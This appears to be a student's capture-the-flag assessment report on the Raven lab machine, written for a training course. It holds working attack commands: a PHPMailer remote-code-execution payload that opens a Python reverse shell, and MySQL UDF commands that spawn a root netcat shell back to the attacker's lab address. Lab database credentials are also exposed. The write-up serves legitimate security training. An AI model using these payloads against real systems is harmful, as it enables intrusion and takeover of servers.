

RAVEN CTF — ASSESSMENT REPORT

Course: CIP-A106

Operation Codename: OPFOR-01/Raven

Student Name: Jamiu Abidemi Afolabi

Registration Number: C11/26/EHIT/17319

Submission Date: 16/09/2026

Classification: TRAINING USE ONLY

2. Executive Summary

Objective

The goal of the CTF was to find and capture all four flags on the target system.

Summary of Assessment

I started by scanning the target and enumerating the open services. I focused on the web application, where I found two flags through **/vendor** and **/wordpress**. I then exploited PHPMailer to gain shell access and capture another flag. Finally, I exploited MySQL using UDFs to gain root access and capture the last flag.

Result

- **Target discovered:** Yes
- **Initial access obtained:** Yes
- **Privilege escalation achieved:** Yes
- **Flags/artifacts recovered:** 4 flags recovered
- **Objectives completed:** Yes

3. Scope and Rules of Engagement

Scope

Target: OPFOR-01 / Raven

Attacker: [=Kali VM

Network: Host-only / 192.168.56.0/24

ROE Compliance

- ROE reviewed and accepted: Yes
- Testing restricted to authorised target: Yes
- Least destructive methods used: Yes
- Unnecessary target modification avoided: No
- Evidence preserved throughout the assessment: Yes

4. Laboratory Architecture and Methodology

4.1 Laboratory Architecture

Attacker IP: 192.168.56.015

Target IP: 192.168.56.106

Virtualisation: VirtualBox

Network Configuration: Host-only

Network Diagram:

[Attacker VM] ————— [OPFOR-01 / Raven]
192.168.56.105 192.168.56.106

4.2 Preparation and Control

Baseline snapshot: [Snapshot name]

Evidence directory: [Path]

Operator log: [Filename/path]

Network isolation verified: Yes

4.3 Methodology

The assessment followed these phases:

1. Preparation and control
2. Reconnaissance
3. Attack-surface enumeration
4. Vulnerability analysis
5. Initial access
6. Post-exploitation and privilege escalation
7. Flag collection
8. Withdrawal and restoration

5. Attack-Surface Summary

5.1 Reconnaissance

Target Discovery

Method/Command:

```
sudo nmap -sn 192.168.56.0/24
```

Result:

```
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 10:18 +0100
Nmap scan report for 192.168.56.1
Host is up (0.00033s latency).
MAC Address: 0A:00:27:00:00:0C (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.0011s latency).
MAC Address: 08:00:27:FA:03:96 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.106
Host is up (0.00088s latency).
MAC Address: 08:00:27:33:71:ED (Oracle VirtualBox virtual NIC)
```

Nmap scan report for icdfa.local (192.168.56.105)

Host is up.

Nmap done: 256 IP addresses (4 hosts up) scanned in 6.36 seconds

Discovered target: 192.168.56.106/ Raven.local

False-Positive Elimination

After discovering the hosts available on the network, I performed service enumeration on all displayed hosts to determine which one is the target machine. All ports are closed on IP addresses **192.168.56.100** and **192.168.56.1**.

However, after enumerating the service ports available on IP **192.168.56.106**, it shows that ports **22 (SSH)**, **80 (HTTP)** and **111 (rpcbind)** are active. I didn't stop there; I fired up my browser to load the Raven Security website using 192.168.56.106, and it was successful.

5.2 Port and Service Enumeration

Port	Protocol	Service	Version	State	Notes
22	TCP	SSH	OpenSSH	Open	The SSH port 22 is open and it runs on OpenSSH 6.7p1. The enumeration also displays some ssh hotkeys.
80	TCP	HTTP	Apache/2.4.10	Open	The port 80 HTTP runs on Apache httpd 2.4.10. From the service enumeration, we can see the http-server, and http-title heading.
111	TCP	RPC	Rpcbind 2-4	Open	The rpc port 111 has some programs open, about 8 of them, 4

					rpcbind service and 4 status.
--	--	--	--	--	-------------------------------

Primary scan:

sudo nmap -A -p- -Pn -T4 -v 192.168.56.106

5.3 Attack-Surface Map

Attack Surface	Technology/Service	Observation	Priority
Web	HTTP/Web server	Port 80 was accessible and provided a web application. Directory and file enumeration was possible, making it the most promising surface for discovering sensitive information or vulnerabilities.	High
SSH	SSH	Port 22 was open, but authentication required a password after anonymous login attempts were unsuccessful. No immediate authentication weakness was identified.	
RPC	RPC/rpcbind	Port 111 was open, but further enumeration of the available RPC programs and services did not reveal a useful attack path.	Low

Analysis

Before deciding which attack surface to prioritise, I enumerated the open ports and reviewed the services running on each one. From the enumeration results, I quickly determined that RPC was a dead end because the programs and services exposed on the ports could not be enumerated any further.

I also concluded that port 22 (SSH) was not a suitable starting point because authentication required a password after anonymous login attempts were unsuccessful. Therefore, I focused more attention on port 80 (HTTP), where I proceeded to enumerate the web application and identify directories and files that could potentially contain sensitive information.

6. Confirmed Findings and Risk Ratings

To get the required flags for the CTF assessment, some vulnerabilities were identified and exploited. These vulnerabilities are discussed briefly in this section.

6.1 Finding Summary

ID	Finding	Risk	Evidence	Relevance
F-01	Sensitive information exposed through the <code>/vendor</code> directory	Low	[E-XX]	Demonstrates that the web application exposes information through an accessible directory, providing useful information for further enumeration and attack-path development.
F-02	Information exposed through the <code>/wordpress</code> path	Low	[E-XX]	This part of the web displays additional application content that leads to the identification and development of potential attack paths. No usernames or configuration information were exposed.
F-03	Initial access was achieved through a PHPMailer vulnerability	High		This was a significant finding because exploitation of the vulnerable PHPMailer component resulted in initial access to the target system.
F-04	Privilege escalation through MySQL running with root privileges and User-Defined Functions (UDFs)	High		This means that the application demonstrates that the MySQL configuration and available UDF functionality could be leveraged to execute actions with root-level privileges, resulting in further compromise of the system.

6.2 Vulnerability Analysis

Finding F-01 — Flag Discovered in /vendor

Observed fact:

The `/vendor` directory was accessible through the web application and exposed package-related information. This was also obtained during the directory enumeration phase.

Initial assumption/hypothesis:

Further enumeration of the directory led to the discovery of Flag 1.

Impact:

The exposed directory provided access to information that was not otherwise restricted and led to the successful capture of a flag.

Risk: Low

Finding F-02 — Flag Discovered in /wordpress

Observed fact:

The `/wordpress` path was accessible through the web application and provided an additional area for enumeration.

Confirmation:

Further enumeration of the `/wordpress` path led to the discovery of **Flag 3**.

Impact:

The accessible path expanded the web attack surface and led to the successful capture of a flag.

Risk: Low

Finding F-03 — Initial Access Through PHPMailer

Observed fact:

The web application was found to be vulnerable to exploitation through the PHPMailer component.

Confirmation:

Exploitation of the PHPMailer vulnerability successfully provided shell access to the target system, establishing initial access and leading to the discovery of **Flag 2**.

Impact:

Successful exploitation allowed remote shell access to the target system and enabled further post-exploitation activity.

Risk: High

Finding F-04 — Root Access Through MySQL User-Defined Functions

Observed fact:

The MySQL service was running with root-level privileges and was susceptible to exploitation through User-Defined Functions (UDFs).

Confirmation:

The MySQL service was successfully exploited using UDFs, resulting in **root-level access** and the discovery of **Flag 4**.

Impact:

The exploitation resulted in root-level access to the target system, allowing me to access root-level files.

Risk: High

7. Initial-Access Narrative

7.1 Attack Hypothesis

First, I scanned the WordPress website using **WPScan** and the API token I got by registering on the **WPScan website**. From the scan, I was able to enumerate two valid users, **Michael and Steven**. I did not stop there because I realised that the names might not be correct.

I then brute-forced the username field using different names, including some of the names I discovered through **Burp Suite**. I was able to confirm a valid username from the response returned by the application: “**The password you entered for the username michael is invalid.**”

After confirming the valid username, I thought the next step was to brute-force the password using common password lists. I tried to gain access through the WordPress login page and the **XML-RPC** endpoint. I also tried brute-forcing the **SSH** login using the valid usernames and common password lists such as **rockyou.txt**. I even created a custom password list using some words found on the website, but none of these attempts resulted in a valid password.

After further enumeration, I discovered that the website was using **PHPMailer**. I searched for the version commonly used with WordPress 4.8.7. From my enumeration of the **/vendor** path, I found that **PHPMailer was running version 5.2.16**.

I then researched common exploits for this version and found one that allowed **remote code execution**. Based on this finding, I selected the PHPMailer exploitation path as my next attack path because it provided a possible way to gain initial access without relying on password brute-forcing.

7.2 Entry Point

Affected component: PHPMailer 5.2.16

Technique: Remote Code Execution (RCE) through the vulnerable PHPMailer component

Access obtained: Initial shell access to the target system

Account/Privilege: www-data

Commands:

I downloaded the exploit from [exploit.db](https://www.exploit-db.com/exploits/40974/). The exploit has an ID of **EDB-ID:40974 - PHPMailer < 5.2.18 - Remote Code Execution**. It's a Python script. After downloading the Python code, I edited the code to match my lab environment. The variables I edited include:

Target: <http://192.168.56.106/contact.php>

Backdoor: /exploit.php

Payload: I changed the IP address to my Kali host address of 192.168.56.105

Listening Port: 4444

```
target = 'http://192.168.56.106/contact.php'

backdoor = '/exploit.php'

payload = '<?php system(\'python -c \"\"\"import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con
nect((\\\'192.168.56.105\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),
1);os.dup2(s.fileno(),2);p=subprocess.call([\\\'/bin/sh\\\',\\\'-i\\\'])\"\"'\
'); ?>'

fields={'action': 'submit',

        'name': payload,

        'email': '"anarcoder\\\' -OQueueDirectory=/tmp
-X/var/www/html/exploit.php server\' @protonmail.com',
```

After I was done editing, I ran the code using the command below.

python3 40974.py

Then I opened a listening service on my Kali host using the **nc** command as follows:

nc -lnvp 4444

Once the terminal is listening, I open a new tab in Firefox, and I enter <http://192.168.56.196/exploit.php> in the URL. The listening socket caught the exploit and logged me into the victim shell as a low-privilege user.

Evidence:

```
└─$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.56.106 38780
/bin/sh: 0: can't access tty; job control turned off
$ whoami

www-data
$ $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

\$

7.4 Security Impact

[Explain what an attacker could achieve from the foothold.]

The security impact of this vulnerability is that a bad actor can exploit the PHPMailer component to achieve remote code execution on the target system. In this assessment, the exploitation resulted in initial shell access, which provided a foothold for further enumeration and exploitation of the system.

8. Post-Exploitation and Privilege Escalation

8.1 Initial Access Context

Username:

whoami - www-data

Groups/Privileges:

id - uid=33(www-data) gid=33(www-data) groups=33(www-data)

8.2 Local Enumeration

Record relevant observations from:

- Users/groups
- Permissions
- Files
- Credentials

Commands:

Enumeration started from /vendor to confirm the flag1 that we got earlier. I used the command `cd vendor` to navigate to the folder, and I displayed the content of PATH using the `cat` command.

```
$ cat PATH
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
```

With further local enumeration, I was able to detect flag2 in the `/var/www` folder

```
$ cd /var/www

$ $ pwd
/var/www
$ ls
flag2.txt
html
sM5BTUQC.php
$ cat flag2.txt
Flag2{6a8ed560f0b5358ecf844108048eb337}
```

I navigated to the `/wordpress/wp-content/uploads` folder to find the third flag, which happens to be a png file.

```
$ pwd
/var/www/html/wordpress/wp-content/uploads/2018/11
$ ls
flag3.png
```

8.3 Post Enumeration

For post enumeration, I used **Linpeas** to enumerate an endpoint where I can carry out privilege escalation. After downloading the file on my host machine, I set up an **HTTP** server so I can download it from the victim machine using **wget**.

After running the [linpeas.sh](https://github.com/cybercortex/linpeas), it identifies that MySQL was running as root, and one can exploit it to gain root access. The credentials used to log in to MySQL were obtained in **wp-login.php**. The details used are as follows:

DB_User - root

DB_Pass - R@v3nSecurity

```
$ mysql -u root -p'R@v3nSecurity' -e "USE mysql; CREATE TABLE IF NOT EXISTS
foo(line BLOB); INSERT INTO foo VALUES (LOAD_FILE('/tmp/1518.so'));"
$ mysql -u root -p'R@v3nSecurity' -e "USE mysql; SELECT * FROM foo INTO
DUMPFILE '/usr/lib/mysql/plugin/1518.so';"
ERROR 1086 (HY000) at line 1: File '/usr/lib/mysql/plugin/1518.so' already
exists
$ mysql -u root -p'R@v3nSecurity' -e "USE mysql; CREATE FUNCTION do_system
RETURNS INTEGER SONAME '1518.so';"
ERROR 1125 (HY000) at line 1: Function 'do_system' already exists
$ mysql -u root -p'R@v3nSecurity' -e "SELECT * FROM mysql.func;"
```

```
name    ret    dl    type
do_system 2    1518.so function
$
```

```
mysql -u root -p'R@v3nSecurity' -e "SELECT do_system('nc 192.168.56.105 4455
-e /bin/bash');"

```

```
└─$ nc -lnvp 4455
Listening on 0.0.0.0 4455
Connection received on 192.168.56.106 59489
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/var/lib/mysql
cd /root
ls
flag4.txt
cat flag4.txt

```

9. Mission Objectives and Proof of Completion

9.1 Objective Summary

Objective	Status	Evidence
Discover OPFOR-01	Complete	E-03
Obtain initial access	Complete	E-12
Capture required flags	Complete	E-09, E-10, E-11, E-14
Obtain elevated privileges, if required	Complete	E-14, E-14a, E-14b

9.2. Remediation Roadmap

Immediate

- Update or remove the vulnerable **PHPMailer 5.2.16** version and replace it with a supported and secure version.
- Restrict access to unnecessary directories such as `/vendor` and `/wordpress` to reduce information exposure.
- Review the compromised system and remove any files, accounts, or changes that may have been introduced during the attack.

Short-Term

- Review the WordPress installation and update WordPress, plugins, and other components to supported versions.
- Review the MySQL configuration and make sure database services are not running with unnecessary root-level privileges.
- Review SSH and WordPress authentication settings and use strong passwords and appropriate access controls.

Strategic

- Establish a regular process for updating and patching all software and third-party components.
- Carry out regular vulnerability assessments to identify outdated software and exposed services before they can be exploited.

11. Conclusion and Lessons Learned

Conclusion

The assessment started with scanning and enumerating the available services. I focused mainly on the web application after identifying port 80 as the most promising attack surface. Through further enumeration, I discovered the `/vendor` and `/wordpress` paths and captured flags from both.

I also identified a vulnerable PHPMailer version and successfully exploited it to gain initial shell access and capture another flag. Finally, I exploited the MySQL service through User-Defined Functions and gained root access, which allowed me to capture the final flag.

The main objective of the assessment, which was to identify and capture all the flags, was completed successfully.

Lessons Learned

Technical

- Proper enumeration helped me identify the most useful attack paths.
- Not every open service is immediately exploitable, so I learned to focus on the ones that provide useful evidence.

Methodology

- I learned the importance of validating my findings before moving to the next attack.
- Failed approaches should not be ignored because they can help guide the next step.

Professional Practice

- I learned the importance of keeping clear records of my actions and evidence.
- I also learned to test carefully and use the least-destructive approach when possible.

12. Appendices

Appendix A — Operator Activity Log

Appendix B — Commands and Output Extracts

Check Raven CTF Evidence folder

Appendix C — Screenshots and Supporting Evidence

Evidence ID	Description	Filename
E-01	Network interface information	E-01-Network-Interface...png
E-02	Host discovery	E-02-Host-Discovery.png
E-03	Identifying Raven	E-03-Identifying-Raven.png
E-04	Pinging Raven	E-04-Pinging-Raven.png
E-05	Masscan results	E-05-Masscan-Result.png
E-06	Deep scan results	E-06-DeepScan-Result.png
E-07	Burp Suite username evidence	E-07-Burpsuite-Userna...png
E-08	Burp Suite username evidence	E-08-Burpsuite-Userna...png
E-09	Flag 1	E-09-Flag1.png
E-10	Flag 3	E-10-flag3.png
E-11	Flag 2	E-11-Flag2.png
E-12a	PHPMailer modification/edit	E-12a-Phpmailer-edit.png
E-12	Initial access gained	E-12-initial-access-gain...png
E-13a	Privilege escalation	E-13a-privilege-escalati...png
E-13	LinPEAS execution/results	E-13-running-linpeas.png

E-14a	MySQL privilege escalation	E-14a-mysql-privilege-....png
E-14b	Flag 4	E-14b-flag4.png
E-14	Exploit compilation	E-14-exploit-compiling.png
E-15	Cleanup proof	E-15-cleanup-proof.png

Appendix D — Withdrawal and Restoration

Active sessions terminated: Yes

Evidence saved: Yes

Baseline snapshot restored: Yes

Restoration time: 9:59 PM